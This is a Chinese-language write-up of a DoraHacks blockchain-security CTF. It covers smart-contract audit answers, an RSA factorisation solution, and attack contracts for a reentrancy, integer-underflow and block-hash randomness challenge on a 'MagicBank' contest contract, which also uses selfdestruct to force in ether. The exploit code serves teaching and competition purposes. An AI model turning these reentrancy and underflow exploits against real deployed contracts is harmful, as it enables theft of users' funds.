author: 天枢
在参加护网杯的同时,天枢有一波区块链大佬小分队去参加了DoraHacks举办的比赛,小伙伴们非常给力的拿下第二名 这里分享一个这个比赛的部分题解
另外天枢还有一波小分队去参加了ISCC也取得了第二的好成绩(不说了,我去催他写writeup了...
Sissel大佬说道:
早先就对DoraHacks举办的各种hackathon有所耳闻,一直想来参加感受一次,这次很高兴天枢能够受邀参加本场区块链安全比赛,与诸位师傅共同度过一个知性而优雅的周末。各大厂商在周六都分享了许多有意思的思路、或是自家引以为傲的产品和解决方案,开拓了我和小伙伴们的眼界。一下午的展示中收获了良多干货,为第二天的比赛也开拓了思路。
本次见识到了平时只能在线上看到的诸位大师傅,也有幸享受到了师傅们精心准备的题目,包含了合约审计、漏洞利用、硬件方案、密码学、交易所安全等多个类型,受益良多。也吐槽一句,师傅们颜值都好高呀!
这里给出Q1、4、11、14、15 我们队的解答。
主办方提供了四个合约,需要我们给出漏洞点和修复方案,并对第二个和第四个合约写出攻击合约。
pragma solidity ^0.4.10;
contract Auction {
address public highestBidder;
uint256 public highestBid;
function Auction(uint256 _highestBid) {
require(_highestBid > 0);
// 设置起拍价格
highestBid = _highestBid;
highestBidder = msg.sender;
}
function bid() payable {
require(msg.value > highestBid);
// 退还上一位竞拍者资金
highestBidder.transfer(highestBid);
highestBidder = msg.sender;
highestBid = msg.value;
}
// 根据区块高度或者时间等,结束拍卖
function auction_end() {
// ...
}
}
很典型的King/拍卖合约,问题出在了出现下一个高价者时,上一个人退款时的transfer()。我们可以构造一个攻击合约,他的回调函数是payable,且函数中revert()或throw。即让我们的攻击合约,作为最高出价者,并且不能接受转账即可。
contract Owned {
address public owner;
function Owned() { owner = msg.sender; }
modifier onlyOwner{ if (msg.sender != owner) revert(); _; }
}
contract Bank is Owned {
address public owner = msg.sender;
function transferOwner(address new_owner) public onlyOwner payable {
owner = new_owner;
}
function withdraw(uint amount) public onlyOwner {
require(amount <= this.balance);
msg.sender.transfer(amount);
}
}
这里我认为是继承了Owned()函数,出现了问题,solidity的继承原理是代码拷贝,所有人都可以调用Bank里的Owned函数,但我之后并未调通,希望大家指正这里。
pragma solidity ^0.4.0;
contract MyContacts {
struct PersonInfo {
address person;
string phoneNumber;
string note;
}
address private owner;
mapping(address => PersonInfo) contacts;
function MyContacts() {
owner = msg.sender;
}
function addContact(address _person, string _phoneNumber, string _note) public {
PersonInfo info;
info.person = _person;
info.phoneNumber = _phoneNumber;
info.note = _note;
contacts[msg.sender] = info;
}
}
在函数里声明,会覆盖变量。
这里举个启明的文章,方便理解,师傅们在第一天的演讲中也提到了这一点。
pragma solidity 0.4.24;
contract test {
struct aa{
uint x;
uint y;
}
uint public a = 4;
uint public b = 6;
function test1() returns (uint){
aa x;
x.x = 9;
x.y = 7;
}
}
函数test1中定义了一个局部结构体变量x,但是没有对其进行初始化。根据solidity的变量存储规则,这时候x是存储在storage中的,而且是从索引0开始,那么对其成员变量x,y赋值之后,刚好覆盖了全局变量a和b。
pragma solidity ^0.4.15;
contract PrivateBank {
mapping (address => uint) userBalance;
function getBalance(address u) constant returns(uint){
return userBalance[u];
}
function addToBalance() payable{
userBalance[msg.sender] += msg.value;
}
function withdrawBalance(){
if( ! (msg.sender.call.value(userBalance[msg.sender])() ) ){
throw;
}
userBalance[msg.sender] = 0;
}
}
看名字都猜出来了,肯定是重入漏洞啦msg.sender.call.value(userBalance[msg.sender])()
,攻击的话call一下就好了hhh。
先让攻击合约充一点钱
function () payable public{
victim.call(bytes4(keccak256("withdrawBalance()")));
}
这个题最后只有我们天枢给出了主办方满意的回答,已经在赛后分享和大家讨论过了。
也是之前在创宇404的时候,和Lorexxar师傅经常一起审合约,养成的好习惯。很喜欢这道题,出题的师傅说,请大家把它仅仅当作游戏合约来看待,而不是蜜罐之类的hh。我还蛮喜欢这种心态的。
pragma solidity ^0.4.0;
// Bet Game
contract BetGame {
address owner; // 合约持有者
mapping(address => uint256) public balanceOf; // 用户资金集
uint256 public cutOffBlockNumber; // 下注截止到cutOffBlockNumber,至少有1000个块的距离到创建合约的块
uint256 public status; // 状态,根据每次下注修改状态
mapping(address => uint256) public positiveSet; // 赌注正面赢: status == 1
mapping(address => uint256) public negativeSet; // 赌注反面赢: status == 0
uint256 public positiveBalance; // 正面下注资金总额
uint256 public negativeBalance; // 反面下注资金总额
modifier isOwner {
assert(owner == msg.sender);
_;
}
modifier isRunning {
assert(block.number < cutOffBlockNumber);
_;
}
modifier isStop {
assert(block.number >= cutOffBlockNumber);
_;
}
constructor(uint256 _cutOffBlockNumber) public {
owner = msg.sender;
balanceOf[owner] = 100000000000;
cutOffBlockNumber = _cutOffBlockNumber;
}
function transfer(address to, uint256 value) public returns (bool success) {
require(balanceOf[msg.sender] >= value);
require(balanceOf[to] + value >= balanceOf[to]);
balanceOf[msg.sender] -= value;
balanceOf[to] += value;
return true;
}
// 下注并影响状态,该操作必须在赌局结束之前
function bet(uint256 value, bool positive) isRunning public returns(bool success) {
require(balanceOf[msg.sender] >= value);
balanceOf[msg.sender] -= value;
if (positive == true) {
positiveSet[msg.sender] += value;
positiveBalance += value;
} else {
negativeSet[msg.sender] += value;
negativeBalance += value;
}
bytes32 result = keccak256(abi.encodePacked(blockhash(block.number), msg.sender, block.timestamp));
uint8 flags = (uint8)(result & 0xFF); // 取一个字节,根据值的大小决定状态
if (flags > 128) {
status = 1;
} else {
status = 0;
}
return true;
}
// 猜对就取回成本和猜对所得(猜错将不能取回成本),该操作必须在赌局结束以后
function withdraw() isStop public returns (bool success){
uint256 betBalance;
uint256 reward;
if (status == 1) { // positiveSet
betBalance = positiveSet[msg.sender];
if (betBalance > 0) {
balanceOf[msg.sender] += betBalance;
positiveSet[msg.sender] -= betBalance;
positiveBalance -= betBalance;
reward = (betBalance * negativeBalance) / positiveBalance;
negativeBalance -= reward;
balanceOf[msg.sender] += reward;
}
} else if (status == 0) {
betBalance = negativeSet[msg.sender];
if (betBalance > 0) {
balanceOf[msg.sender] += betBalance;
negativeSet[msg.sender] -= betBalance;
negativeBalance -= betBalance;
reward = (betBalance * positiveBalance) / negativeBalance;
positiveBalance -= reward;
balanceOf[msg.sender] += reward;
}
}
return true;
}
}
不按审合约正确的套路写了,这里给出我的答案,前三个是师傅的预期解。
if (flags > 128) {
status = 1;
} else {
status = 0;
}
正:反 = 129:127
negativeSet[msg.sender] -= betBalance;
negativeBalance -= betBalance;
reward = (betBalance * positiveBalance) / negativeBalance;
应该先计算reward,再变动参数,目前这样会导致用户多领款。
modifier isRunning {
assert(block.number < cutOffBlockNumber);
_;
}
modifier isStop {
assert(block.number >= cutOffBlockNumber);
_;
}
constructor(uint256 _cutOffBlockNumber) public {
owner = msg.sender;
balanceOf[owner] = 100000000000;
cutOffBlockNumber = _cutOffBlockNumber;
}
我感觉这个算是设计的不好,好在提交的时候提到了构造函数的问题,经师傅锦囊指点,给出了正确解答。这里的设计非常奇怪,我们常见的游戏合约,都是设计游戏时长,这个却设计的是输入截断高度。当合约部署时输入错误,会导致游戏不开始or永远无法结束。给出这样的设计更好:
require(游戏长度> 1000 and 游戏长度<10000);
cutOffBlockNumber = block.number + 游戏长度;
虽然没有较完美的随机数生成方案,但这里有个大问题hh
bytes32 result = keccak256(abi.encodePacked(blockhash(block.number), msg.sender, block.timestamp));
区块未生成的情况下,blockhash(block.number)
恒为0,借secbit的师傅的话:
常见不安全的“随机数”计算方法,会读取当前块的前一个块的哈希 block.blockhash(block.number-1) 作为随机源。而在合约内执行 block.blockhash(block.number) 返回值为 0。我们无法在合约内获得当前区块的哈希,这是因为矿工打包并执行交易时,当前区块哈希尚未被算出。因此,我们可以认为“当前区块”哈希是“未来”的,无法预测。
这题是小伙伴HWHong做的,师傅web渗透一把手,密码学也超厉害!
明文:something_for_nothing
思路赛后在群里已经有了,大体是可以看到n2可分解为多个素数,只有一个密文,说明n1是加密用的n,n2是hint。
因为n1,n2高位相同,假设:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from gmpy2 import is_prime as prime
from gmpy2 import iroot
n = 23813929634961916607351565880455941766670447113389071712756695324346844628401731716721342593051007386272154527731664038624979611788014212477351852945244505409460937047258358062539110381430391840699958786987625931706228387994323041218966203797392082298285118826348211114759651033904573709571472601260689154545949713245271655372366964733467694911683404472839031932865195076679363440004259157441442904092160547940620462275523928770007343760308099893870201392965037704560065286860197211399375405419620507897112217284427055511050820476779226202266877872708788417574738346625361066145535064835057037859284000257460115692751L
nn = 23813929634961916607351565880455941766670447113389071712756695324346844628401731716721342593051007386272154527731664038624979611788014212477351852945244505409460937047258358062539110381430391840699958786987625931706228387994323041218966203797392082298285118826348211114759651033904573709571472601260689154673727252437046185126099084752843732400209032782207790902956024459189700856089587545302854326571561755007254420608514135036673700243280752364319986331493694769729841789115612749641973878393284804681876299531933348630664123809944975501332215753682284226293973903784246618067269627749460102002825975011735463170307L
# print nn > n
t = nn - n
def f1(x, y): return pow(x * y - t, 2) - 4 * n * x * y
def f2(x, y, s): return (t - x * y - s) / (2 * x)
for x in xrange(366, 3000):
for y in xrange(1, 3000):
print x, y
if f1(x, y) >= 0:
s, b = iroot(f1(x, y), 2)
if b:
if prime(f2(x, y, int(s))):
print "Success"
print f2(x, y, int(s))
exit()
之后RSA解密即可
def egcd(a, b):
if a == 0:
return (b, 0, 1)
else:
g, y, x = egcd(b % a, a)
return (g, x - (b // a) * y, y)
def modinv(a, m):
g, x, y = egcd(a, m)
if g != 1:
raise Exception('modular inverse does not exist')
else:
return x % m
def bytes_to_num(b):
return int(b.encode('hex'), 16)
def num_to_bytes(n):
b = hex(n)[2:-1]
b = '0' + b if len(b)%2 == 1 else b #16进制补成偶数位
return b.decode('hex')
def gcd(a, b):
if a < b:
a, b = b, a
while b != 0:
temp = a % b
a = b
b = temp
return a
n= 23813929634961916607351565880455941766670447113389071712756695324346844628401731716721342593051007386272154527731664038624979611788014212477351852945244505409460937047258358062539110381430391840699958786987625931706228387994323041218966203797392082298285118826348211114759651033904573709571472601260689154545949713245271655372366964733467694911683404472839031932865195076679363440004259157441442904092160547940620462275523928770007343760308099893870201392965037704560065286860197211399375405419620507897112217284427055511050820476779226202266877872708788417574738346625361066145535064835057037859284000257460115692751L
q = 153346707022470063255234682736500792074659843501367018551890586572000593877733769700626279692600930780783180304304442159621776245608196861201940418144595471936294352073422843950321344403965643436262621305985924339820909114418402737553700882775797335050564405239123363288904724634792579573240467129306394648627
p = 155294691991478076246533723107402680119846505071987471714029291163531622103148666018845728574257526241116901720654471382085147320775795052977889980257647661071362112907870430296641453839932096411043572129394525643559799347739002453989935199062302896371462733787830466546655020686256703190391276771066251117813
c = 18605789682603602447496491798717321758798293700581905324029316650457391496265655270825055100678097929357061608642146193773598093988238186832894784951616085628646685595376101261377731258729834390380505295109894703902052847643842156614062711247564519297808798554671766259798926540994634858657655351713982599673967765484141456377356967352743349134262973092564982272405212241089526282547070247316071159193009664342169931360323767519419547890738439815871541842638219161372841320792826512207337857015266817573319095062799628537492791048391092577478382005012019416835632572465215950053539506334972912038960318318733757235757L
e = 65537
print p*q == n
d = modinv(e,(p-1)*(q-1))
print "d: " + str(d)
m = pow(c,d,p*q)
print "m: " + str(m)
flag = hex(m)
print str(flag)[2:-1].decode('hex')
长亭的晓航师傅技术厉害,出的题好,人还帅,我们队已经全员被圈粉了orz。
这是一道考察与合约交互的基础题。只给了函数声明和合约地址,通过反复交互,获得提示,最后拿到flag,不是很难。我没怎么记住具体过程,不过只要是做合约审计方向的,应该都可以做出来。
我这留了个邮件的记录,大佬们可以参考一下交互方式,其实两个合约可以合并,当时打得有点意识模糊。。
随机数生成
pragma solidity ^0.4.19;
contract Attack {
address public owner;
address public victim;
uint256 public num;
function Attack() payable { owner = msg.sender;
victim = 0xc95872680072f57485aa0913ded224ee70a9e2cb;
}
function sissel() public view returns(uint256)
{
uint256 seed = uint256(blockhash(block.number-1));
uint256 rand = seed / 26959946667150639794667015087019630673637144422540572481103610249216;
return rand;
}
}
交互,可能少了几个步骤,大体是这样
contract xixi {
address public owner;
constructor()public{
owner = msg.sender;
}
function getInfo() public pure returns(string);
function sendFlag1() public returns(string);
function getCode() public pure returns(string);
function game(uint256 guess) public view returns(string);
}
还是晓航师傅出的题,超有趣,我很喜欢这样不是很难,但是考点很多,而且每一步都理所应当的题目。
contract MagicBank {
mapping(address => uint) public balanceOf;
mapping(address => uint) public creditOf;
address owner;
constructor()public{
owner = msg.sender;
}
function transferBalance(address to, uint amount) public{
require(balanceOf[msg.sender] - amount >= 0);
balanceOf[msg.sender] -= amount;
balanceOf[to] += amount;
}
event SendFlag(uint256 flagnum, string b64email);
function sendFlag3(string b64email) public {
require(balanceOf[msg.sender] >= 10000);
emit SendFlag(1, b64email);
}
function guessRandom(uint256 guess) internal view returns(bool){
uint256 seed = uint256(blockhash(block.number-1));
uint256 rand = seed / 26959946667150639794667015087019630673637144422540572481103610249216;
return rand == guess;
}
function buyCredit(uint256 guess) public {
require(guessRandom(guess));
require(balanceOf[msg.sender] >= 10000);
require(creditOf[msg.sender] == 0);
creditOf[msg.sender] = 1;
balanceOf[msg.sender] -= 10000;
}
function withdrawCredit(uint amount) public{
require(creditOf[msg.sender] >= amount);
msg.sender.call.value(amount*1000000000)();
creditOf[msg.sender] -= amount;
}
function sendFlag4(string b64email) public {
require(creditOf[msg.sender] >= 10000);
emit SendFlag(2, b64email);
}
function getEthBalance() public view returns(uint256){
return this.balance;
}
modifier onlyOwner(){
require(msg.sender == owner);
_;
}
function kill(address t) public onlyOwner {
selfdestruct(t);
}
}
这题的流程是这样的:
transferBalance()
一下,造成下溢,让balance很大,获得flag3buyCredit()
,购买信用。withdrawCredit()
中依然存在下溢问题,但是require变严格,需要使用重入攻击,在未更新credit时,多取几次。攻击合约:
contract magic_attack {
address owner;
string private email = "OTA3ODg2MDc2QHFxLmNvbQ==";
address private victim = 0x1180e23d7360fc19cf7c7cd26160763b500b158b;
uint256 public rand = 0;
constructor()public{
owner = msg.sender;
email = "OTA3ODg2MDc2QHFxLmNvbQ==";
}
function step1() public{
address my_to = 0x1180e23d7360fc19cf7c7cd26160763b500b151c;
uint256 amount = 0x186a0;
victim.call(bytes4(keccak256("transferBalance(address,uint256)")),my_to,amount);
}
function step2() public{
uint256 seed = uint256(blockhash(block.number-1));
rand = seed / 26959946667150639794667015087019630673637144422540572481103610249216;
victim.call(bytes4(keccak256("buyCredit(uint256)")),rand);
}
//在这里,另一个合约自毁。
function step3() public{
victim.call(bytes4(keccak256("withdrawCredit(uint256)")),1);
}
function () payable public{
victim.call(bytes4(keccak256("withdrawCredit(uint256)")),1);
}
function test() public{
MagicBank mb = MagicBank(victim);
mb.sendFlag4(email);
}
}
contract bomb {
address owner;
constructor()public{
owner = msg.sender;
}
function () payable public{}
function end() public{
selfdestruct(0x1180e23d7360fc19cf7c7cd26160763b500b158b);
}
}
本次比赛天枢获得了第二名的好成绩,与小伙伴们在比赛中的默契配合息息相关的。
让我总结一下区块链安全的要义,我想说:想象力就是武器。面对区块链和智能合约的题目,只有胆大心细多思考,才能想出完整的攻击链。
现实中,合约、节点、共识算法、钱包、交易所等等,无论哪方面薄弱,都会让黑客有着把货币席卷一空的可能。
就像是在赛事最后分享环节我所说,希望大家在工作中胆大心细,注意好系统的细枝末节,作为安全从业人员,才算真正完成了我们的工作。